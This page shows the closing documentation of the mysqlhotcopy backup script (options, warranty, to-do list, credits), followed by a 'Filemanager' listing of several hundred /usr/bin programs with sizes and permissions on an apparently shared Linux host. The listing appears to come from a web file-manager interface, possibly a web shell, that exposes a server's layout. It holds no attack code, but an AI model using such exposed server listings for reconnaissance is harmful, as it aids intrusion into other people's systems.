Display commands without actually doing them.

=back

=head1 WARRANTY

This software is free and comes without warranty of any kind. You
should never trust backup software without studying the code yourself.
Study the code inside this script and only rely on it if I<you> believe
that it does the right thing for you.

Patches adding bug fixes, documentation and new features are welcome.
Please send these to internals@lists.mysql.com.

=head1 TO DO

Extend the individual table copy to allow multiple subsets of tables
to be specified on the command line:

  mysqlhotcopy db newdb  t1 t2 /^foo_/ : t3 /^bar_/ : +

where ":" delimits the subsets, the /^foo_/ indicates all tables
with names beginning with "foo_" and the "+" indicates all tables
not copied by the previous subsets.

'newdb' is either the name of the new database, or the full path name
of the new database file. The database should not already exist.

Add option to lock each table in turn for people who don\'t need
cross-table integrity.

Add option to FLUSH STATUS just before UNLOCK TABLES.

Add support for other copy methods (e.g., tar to single file?).

Add support for forthcoming MySQL ``RAID'' table subdirectory layouts.

=head1 AUTHOR

Tim Bunce

Martin Waite - Added checkpoint, flushlog, regexp and dryrun options.
               Fixed cleanup of targets when hotcopy fails. 
               Added --record_log_pos.
               RAID tables are now copied (don't know if this works over scp).

Ralph Corderoy - Added synonyms for commands.

Scott Wiersdorf - Added table regex and scp support.

Monty - Working --noindex (copy only first 2048 bytes of index file).
        Fixes for --method=scp.

Ask Bjoern Hansen - Cleanup code to fix a few bugs and enable -w again.

Emil S. Hansen - Added resetslave and resetmaster.

Jeremy D. Zawodny - Removed deprecated DBI calls.  Fixed bug which
resulted in nothing being copied when a regexp was specified but no
database name(s).

Martin Waite - Fix to handle database name that contains space.

Paul DuBois - Remove end '/' from directory names.

Filemanager

Name Type Size Permission Actions
GET File 14.71 KB 0755
Magick-config File 1.23 KB 0755
MagickCore-config File 1.24 KB 0755
MagickWand-config File 1.25 KB 0755
Mail File 383.67 KB 0755
Wand-config File 1.23 KB 0755
[ File 40.52 KB 0755
a2p File 105.33 KB 0755
aclocal File 35.87 KB 0755
aclocal-1.13 File 35.87 KB 0755
addr2line File 28.42 KB 0755
agentxtrap File 19.16 KB 0755
animate File 7.05 KB 0755
ar File 61.21 KB 0755
arch File 32.3 KB 0755
as File 377.28 KB 0755
aspell File 163.35 KB 0755
at File 1.25 KB 0755
atq File 1.25 KB 0755
atrm File 1.25 KB 0755
autoconf File 14.42 KB 0755
autoheader File 8.33 KB 0755
autom4te File 31.43 KB 0755
automake File 246.44 KB 0755
automake-1.13 File 246.44 KB 0755
autoreconf File 20.57 KB 0755
autoscan File 16.72 KB 0755
autoupdate File 33.08 KB 0755
awk File 418.54 KB 0755
base64 File 36.48 KB 0755
basename File 28.35 KB 0755
bash File 941.93 KB 0755
bashbug-64 File 6.8 KB 0755
batch File 137 B 0755
bison File 393.34 KB 0755
bunzip2 File 31.89 KB 0755
bzcat File 31.89 KB 0755
bzcmp File 2.08 KB 0755
bzdiff File 2.08 KB 0755
bzgrep File 1.64 KB 0755
bzip2 File 31.89 KB 0755
bzip2recover File 15.24 KB 0755
bzless File 1.23 KB 0755
bzmore File 1.23 KB 0755
c++ File 754.59 KB 0750
c++filt File 27.92 KB 0755
c2ph File 35.75 KB 0755
c89 File 224 B 0750
c99 File 215 B 0750
cagefs_enter.proxied File 1.27 KB 0755
cal File 36.8 KB 0755
captoinfo File 64.26 KB 0755
cat File 52.81 KB 0755
catchsegv File 3.26 KB 0755
cc File 750.58 KB 0750
chcon File 61.46 KB 0755
chgrp File 61.32 KB 0755
chmod File 57.21 KB 0755
chown File 61.36 KB 0755
chrt File 32.17 KB 0755
cksum File 32.38 KB 0755
cldetect File 10.34 KB 0755
clear File 7.02 KB 0755
cloudlinux-awp-user File 1.78 KB 0755
clusterdb File 53.22 KB 0755
clwpos-user File 1.78 KB 0755
cmp File 44.14 KB 0755
col File 23.88 KB 0755
colcrt File 11.29 KB 0755
colrm File 23.77 KB 0755
column File 27.99 KB 0755
comm File 36.55 KB 0755
compare File 11.09 KB 0755
composite File 7.05 KB 0755
conjure File 7.05 KB 0755
convert File 7.05 KB 0755
cp File 151.55 KB 0755
cpan File 4.97 KB 0755
cpp File 754.58 KB 0755
createdb File 53.27 KB 0755
createlang File 57.09 KB 0755
createuser File 57.63 KB 0755
crontab File 1.49 KB 0755
crontab.cagefs File 49.12 KB 0755
csplit File 48.82 KB 0755
curl File 152.99 KB 0755
cut File 40.61 KB 0755
date File 60.74 KB 0755
dbiprof File 6.15 KB 0755
dbiproxy File 5.35 KB 0755
dd File 73.14 KB 0755
delv File 39.98 KB 0755
df File 102.55 KB 0755
diff File 195.46 KB 0755
diff3 File 60.65 KB 0755
dig File 146.96 KB 0755
dir File 114.85 KB 0755
dircolors File 40.44 KB 0755
dirname File 28.31 KB 0755
display File 7.05 KB 0755
dltest File 11.05 KB 0755
dropdb File 53.08 KB 0755
droplang File 57.08 KB 0755
dropuser File 53.05 KB 0755
du File 110.34 KB 0755
dvipdf File 1 KB 0755
echo File 32.31 KB 0755
egrep File 290 B 0755
enchant File 15.29 KB 0755
enchant-lsmod File 11.13 KB 0755
env File 28.33 KB 0755
eps2eps File 639 B 0755
eqn File 144.41 KB 0755
ex File 906.45 KB 0755
expand File 32.48 KB 0755
expr File 36.53 KB 0755
factor File 93.29 KB 0755
false File 28.25 KB 0755
fc-cache File 132 B 0755
fc-cache-64 File 15.45 KB 0755
fc-cat File 15.4 KB 0755
fc-conflist File 11.2 KB 0755
fc-list File 11.26 KB 0755
fc-match File 11.32 KB 0755
fc-pattern File 11.26 KB 0755
fc-query File 11.23 KB 0755
fc-scan File 11.27 KB 0755
fc-validate File 11.27 KB 0755
fgrep File 290 B 0755
file File 19.3 KB 0755
find File 194.63 KB 0755
find2perl File 23.06 KB 0755
flex File 318.07 KB 0755
flex++ File 318.07 KB 0755
flock File 23.88 KB 0755
fmt File 36.48 KB 0755
fold File 36.46 KB 0755
free File 19.33 KB 0755
freetype-config File 4.39 KB 0755
funzip File 31.38 KB 0755
g++ File 754.59 KB 0750
gawk File 418.54 KB 0755
gcc File 750.58 KB 0750
gcc-ar File 26.45 KB 0755
gcc-nm File 26.45 KB 0755
gcc-ranlib File 26.45 KB 0755
gcov File 311.45 KB 0755
gencat File 22.11 KB 0755
geoiplookup File 15.28 KB 0755
geoiplookup6 File 11.16 KB 0755
geqn File 144.41 KB 0755
getconf File 22.02 KB 0755
getent File 26.39 KB 0755
getopt File 15.38 KB 0755
ghostscript File 10.97 KB 0755
git File 1.46 MB 0755
git-receive-pack File 1.46 MB 0755
git-shell File 722.05 KB 0755
git-upload-archive File 1.46 MB 0755
git-upload-pack File 795.52 KB 0755
gm File 6.98 KB 0755
gmake File 178.47 KB 0755
gneqn File 271 B 0755
gnroff File 3.31 KB 0755
gpg File 732.3 KB 0755
gpg-agent File 289.64 KB 0755
gpg-error File 23.18 KB 0755
gpg-zip File 3.23 KB 0755
gpg2 File 732.3 KB 0755
gpgsplit File 48.8 KB 0755
gpgv File 345.35 KB 0755
gpgv2 File 345.35 KB 0755
gpic File 180.41 KB 0755
gprof File 98.41 KB 0755
grep File 155.3 KB 0755
groff File 81.63 KB 0755
grops File 140.85 KB 0755
grotty File 98.59 KB 0755
groups File 32.41 KB 0755
gs File 10.97 KB 0755
gsbj File 350 B 0755
gsdj File 352 B 0755
gsdj500 File 352 B 0755
gslj File 353 B 0755
gslp File 350 B 0755
gsnd File 277 B 0755
gsoelim File 32.59 KB 0755
gtar File 338.02 KB 0755
gtbl File 115.96 KB 0755
gtroff File 512.96 KB 0755
gunzip File 2.2 KB 0755
gzexe File 5.79 KB 0755
gzip File 98.43 KB 0755
h2ph File 27.65 KB 0755
h2xs File 59.15 KB 0755
head File 40.51 KB 0755
hexdump File 32.02 KB 0755
host File 127.02 KB 0755
hostid File 28.32 KB 0755
hostname File 15.41 KB 0755
hunspell File 53.11 KB 0755
iconv File 58.14 KB 0755
id File 36.52 KB 0755
identify File 7.06 KB 0755
idn File 32.45 KB 0755
ifnames File 4.03 KB 0755
igawk File 3.11 KB 0755
import File 7.05 KB 0755
infocmp File 56.07 KB 0755
infotocap File 64.26 KB 0755
install File 139.59 KB 0755
instmodsh File 4.15 KB 0755
ionice File 23.86 KB 0755
ipcrm File 27.85 KB 0755
ipcs File 48.37 KB 0755
isosize File 23.83 KB 0755
ispell File 988 B 0755
isql File 31.69 KB 0755
iusql File 23.61 KB 0755
join File 48.75 KB 0755
kill File 32.82 KB 0755
ld File 982.59 KB 0750
ld.bfd File 982.59 KB 0750
ldd File 5.18 KB 0755
less File 154.57 KB 0755
lessecho File 11.13 KB 0755
lesskey File 16.67 KB 0755
lesspipe.sh File 2.24 KB 0755
lex File 318.07 KB 0755
libnetcfg File 15.36 KB 0755
libtool File 314.04 KB 0755
libtoolize File 76.8 KB 0755
link File 28.3 KB 0755
ln File 57.22 KB 0755
lnav File 1.12 MB 0755
locale File 37.11 KB 0755
localedef File 318.31 KB 0755
logger File 28.62 KB 0755
login File 36.38 KB 0755
logname File 28.31 KB 0755
look File 11.27 KB 0755
lprsetup.sh File 5.34 KB 0755
ls File 114.85 KB 0755
lynx File 1.43 MB 0755
m4 File 151.17 KB 0755
mail File 383.67 KB 0755
mailx File 383.67 KB 0755
make File 178.47 KB 0755
mariadb File 4.38 MB 0755
mariadb-access File 109.34 KB 0755
mariadb-admin File 3.89 MB 0755
mariadb-binlog File 4.18 MB 0755
mariadb-check File 3.89 MB 0755
mariadb-conv File 3.62 MB 0755
mariadb-convert-table-format File 4.12 KB 0755
mariadb-dump File 3.99 MB 0755
mariadb-dumpslow File 8.05 KB 0755
mariadb-embedded File 23.44 MB 0755
mariadb-find-rows File 3.21 KB 0755
mariadb-hotcopy File 34.15 KB 0755
mariadb-import File 3.88 MB 0755
mariadb-plugin File 3.57 MB 0755
mariadb-secure-installation File 13.49 KB 0755
mariadb-setpermission File 17.56 KB 0755
mariadb-show File 3.88 MB 0755
mariadb-slap File 3.9 MB 0755
mariadb-tzinfo-to-sql File 3.57 MB 0755
mariadb-waitpid File 3.56 MB 0755
mcookie File 15.44 KB 0755
md5sum File 40.53 KB 0755
mdig File 44.2 KB 0755
mesg File 10.98 KB 0755
mkdir File 77.9 KB 0755
mkfifo File 61.59 KB 0755
mknod File 65.61 KB 0755
mktemp File 40.66 KB 0755
mogrify File 7.05 KB 0755
montage File 7.05 KB 0755
more File 40.15 KB 0755
msql2mysql File 1.41 KB 0755
mv File 127.3 KB 0755
my_print_defaults File 3.56 MB 0755
mysql File 4.38 MB 0755
mysql_config File 4.58 KB 0755
mysql_find_rows File 3.21 KB 0755
mysql_waitpid File 3.56 MB 0755
mysqlaccess File 109.34 KB 0755
mysqladmin File 3.89 MB 0755
mysqlbinlog File 4.18 MB 0755
mysqlcheck File 3.89 MB 0755
mysqldump File 3.99 MB 0755
mysqlimport File 3.88 MB 0755
mysqlshow File 3.88 MB 0755
mytop File 71.96 KB 0755
namei File 27.95 KB 0755
nano File 201.08 KB 0755
neqn File 271 B 0755
net-snmp-create-v3-user File 2.98 KB 0755
nice File 32.32 KB 0755
nl File 40.6 KB 0755
nm File 45.43 KB 0755
nohup File 32.42 KB 0755
nproc File 32.37 KB 0755
nroff File 3.31 KB 0755
nslookup File 130.93 KB 0755
nsupdate File 65.2 KB 0755
numfmt File 64.71 KB 0755
objcopy File 227.34 KB 0755
objdump File 357.75 KB 0755
od File 64.81 KB 0755
odbc_config File 11.04 KB 0755
odbcinst File 27.69 KB 0755
openssl File 542.27 KB 0755
pango-list File 11.1 KB 0755
pango-querymodules-64 File 28.26 KB 0755
pango-view File 49.47 KB 0755
passwd File 1.25 KB 0755
paste File 32.34 KB 0755
patch File 147 KB 0755
pathchk File 32.31 KB 0755
pdf2dsc File 698 B 0755
pdf2ps File 909 B 0755
perl File 11.14 KB 0755
perl5.16.3 File 11.14 KB 0755
perlbug File 43.61 KB 0755
perldoc File 203 B 0755
perlivp File 10.52 KB 0755
perlml File 5.98 KB 0755
perlthanks File 43.61 KB 0755
pf2afm File 498 B 0755
pfbtopfa File 516 B 0755
pg_dump File 305.78 KB 0755
pg_dumpall File 73.89 KB 0755
pg_restore File 126.79 KB 0755
pgawk File 418.63 KB 0755
pgrep File 27.67 KB 0755
php File 937 B 0755
pic File 180.41 KB 0755
piconv File 7.99 KB 0755
pinentry File 2.54 KB 0755
pinentry-curses File 49.19 KB 0755
ping File 1.25 KB 0755
pinky File 36.57 KB 0755
pkg-config File 44.38 KB 0755
pkill File 27.67 KB 0755
pl2pm File 4.42 KB 0755
pmap File 27.61 KB 0755
pod2html File 4 KB 0755
pod2latex File 10.1 KB 0755
pod2man File 13.26 KB 0755
pod2text File 10.75 KB 0755
pod2usage File 3.67 KB 0755
podchecker File 3.7 KB 0755
podselect File 2.55 KB 0755
post-grohtml File 187.55 KB 0755
pphs File 404 B 0755
pr File 65.11 KB 0755
pre-grohtml File 86.24 KB 0755
precat File 5.52 KB 0755
preunzip File 5.52 KB 0755
prezip File 5.52 KB 0755
prezip-bin File 11.05 KB 0755
printafm File 395 B 0755
printenv File 28.28 KB 0755
printf File 48.61 KB 0755
prove File 13.13 KB 0755
ps File 97.77 KB 0755
ps2ascii File 631 B 0755
ps2epsi File 2.69 KB 0755
ps2pdf File 272 B 0755
ps2pdf12 File 215 B 0755
ps2pdf13 File 215 B 0755
ps2pdf14 File 215 B 0755
ps2pdfwr File 1.07 KB 0755
ps2ps File 647 B 0755
ps2ps2 File 669 B 0755
psed File 52.08 KB 0755
psql File 438.74 KB 0755
pstruct File 35.75 KB 0755
ptx File 65.08 KB 0755
pwd File 32.45 KB 0755
pwdx File 11.27 KB 0755
pydoc File 78 B 0755
python File 6.98 KB 0755
python2 File 6.98 KB 0755
python2.7 File 6.98 KB 0755
ranlib File 61.21 KB 0755
raw File 15.27 KB 0755
readelf File 509.84 KB 0755
readlink File 40.82 KB 0755
realpath File 61.23 KB 0755
reindexdb File 57.27 KB 0755
rename File 11.26 KB 0755
renice File 11.21 KB 0755
replace File 3.54 MB 0755
reset File 19.6 KB 0755
rev File 11.26 KB 0755
rm File 61.4 KB 0755
rmdir File 44.46 KB 0755
rnano File 201.08 KB 0755
rpcgen File 90.45 KB 0755
rsync File 488.38 KB 0755
run-with-aspell File 85 B 0755
runcon File 32.47 KB 0755
rvi File 906.45 KB 0755
rview File 906.45 KB 0755
s2p File 52.08 KB 0755
scl File 19.5 KB 0755
scl_enabled File 258 B 0755
scl_source File 1.83 KB 0755
scp File 89.24 KB 0755
screen File 464.1 KB 0755
script File 19.61 KB 0755
sdiff File 48.41 KB 0755
sed File 74.29 KB 0755
selectorctl File 7.63 KB 0755
seq File 48.48 KB 0755
setsid File 11.23 KB 0755
setterm File 27.48 KB 0755
sftp File 142.02 KB 0755
sh File 941.93 KB 0755
sha1sum File 36.57 KB 0755
sha224sum File 40.63 KB 0755
sha256sum File 40.63 KB 0755
sha384sum File 40.65 KB 0755
sha512sum File 40.65 KB 0755
shred File 52.94 KB 0755
shuf File 49.13 KB 0755
size File 32.35 KB 0755
skill File 23.62 KB 0755
slabtop File 19.52 KB 0755
sleep File 32.35 KB 0755
slogin File 760.44 KB 0755
snice File 23.62 KB 0755
snmpconf File 25.52 KB 0755
soelim File 32.59 KB 0755
sort File 114.94 KB 0755
spell File 122 B 0755
splain File 18.03 KB 0755
split File 69.47 KB 0755
sprof File 22.1 KB 0755
sqlite3 File 54.95 KB 0755
ssh File 760.44 KB 0755
ssh-add File 348.48 KB 0755
ssh-agent File 373.25 KB 0111
ssh-copy-id File 10.22 KB 0755
ssh-keygen File 409.4 KB 0755
ssh-keyscan File 434.7 KB 0755
stat File 77.19 KB 0755
stdbuf File 64.88 KB 0755
strace File 1009.19 KB 0755
stream File 7.05 KB 0755
strings File 36.53 KB 0755
strip File 227.32 KB 0755
stty File 68.61 KB 0755
sum File 36.55 KB 0755
sync File 28.33 KB 0755
tabs File 15.31 KB 0755
tac File 32.48 KB 0755
tail File 65.25 KB 0755
tailf File 23.88 KB 0755
tar File 338.02 KB 0755
taskset File 32.22 KB 0755
tbl File 115.96 KB 0755
tclsh File 7 KB 0755
tclsh8.5 File 7 KB 0755
tee File 32.38 KB 0755
test File 36.46 KB 0755
tic File 64.26 KB 0755
timeout File 53.31 KB 0755
tload File 15.38 KB 0755
tmpwatch File 27.87 KB 0755
toe File 15.43 KB 0755
top File 104.38 KB 0755
touch File 61.02 KB 0755
tput File 15.41 KB 0755
tr File 44.61 KB 0755
troff File 512.96 KB 0755
true File 28.26 KB 0755
truncate File 52.68 KB 0755
tset File 19.6 KB 0755
tsort File 36.47 KB 0755
tty File 28.29 KB 0755
tzselect File 7.17 KB 0755
uapi File 1.25 KB 0755
ul File 19.47 KB 0755
uname File 32.3 KB 0755
unexpand File 32.45 KB 0755
uniq File 44.71 KB 0755
unix-lpr.sh File 4.07 KB 0755
unlink File 28.3 KB 0755
unzip File 185.16 KB 0755
unzipsfx File 88.66 KB 0755
uptime File 11.22 KB 0755
users File 32.42 KB 0755
utmpdump File 15.45 KB 0755
vacuumdb File 57.35 KB 0755
vdir File 114.85 KB 0755
vi File 906.45 KB 0755
view File 906.45 KB 0755
vmstat File 31.48 KB 0755
watch File 24.14 KB 0755
wc File 40.67 KB 0755
wget File 408.97 KB 0755
whereis File 20.2 KB 0755
which File 23.77 KB 0755
who File 48.7 KB 0755
whoami File 28.3 KB 0755
word-list-compress File 11.03 KB 0755
x86_64-redhat-linux-c++ File 754.59 KB 0750
x86_64-redhat-linux-g++ File 754.59 KB 0750
x86_64-redhat-linux-gcc File 750.58 KB 0750
xargs File 60.91 KB 0755
xmlcatalog File 15.3 KB 0755
xmllint File 61.94 KB 0755
xmlwf File 24 KB 0755
xsltproc File 23.51 KB 0755
xsubpp File 4.45 KB 0755
yes File 28.3 KB 0755
zcat File 1.9 KB 0755
zcmp File 1.72 KB 0755
zdiff File 5.63 KB 0755
zegrep File 123 B 0755
zfgrep File 123 B 0755
zforce File 2.09 KB 0755
zgrep File 5.98 KB 0755
zip File 210.78 KB 0755
zipcloak File 98.1 KB 0755
zipgrep File 2.88 KB 0755
zipinfo File 185.16 KB 0755
zipnote File 93.73 KB 0755
zipsplit File 97.75 KB 0755
zless File 1.99 KB 0755
zmore File 2.79 KB 0755
znew File 5.22 KB 0755
zsoelim File 32.59 KB 0755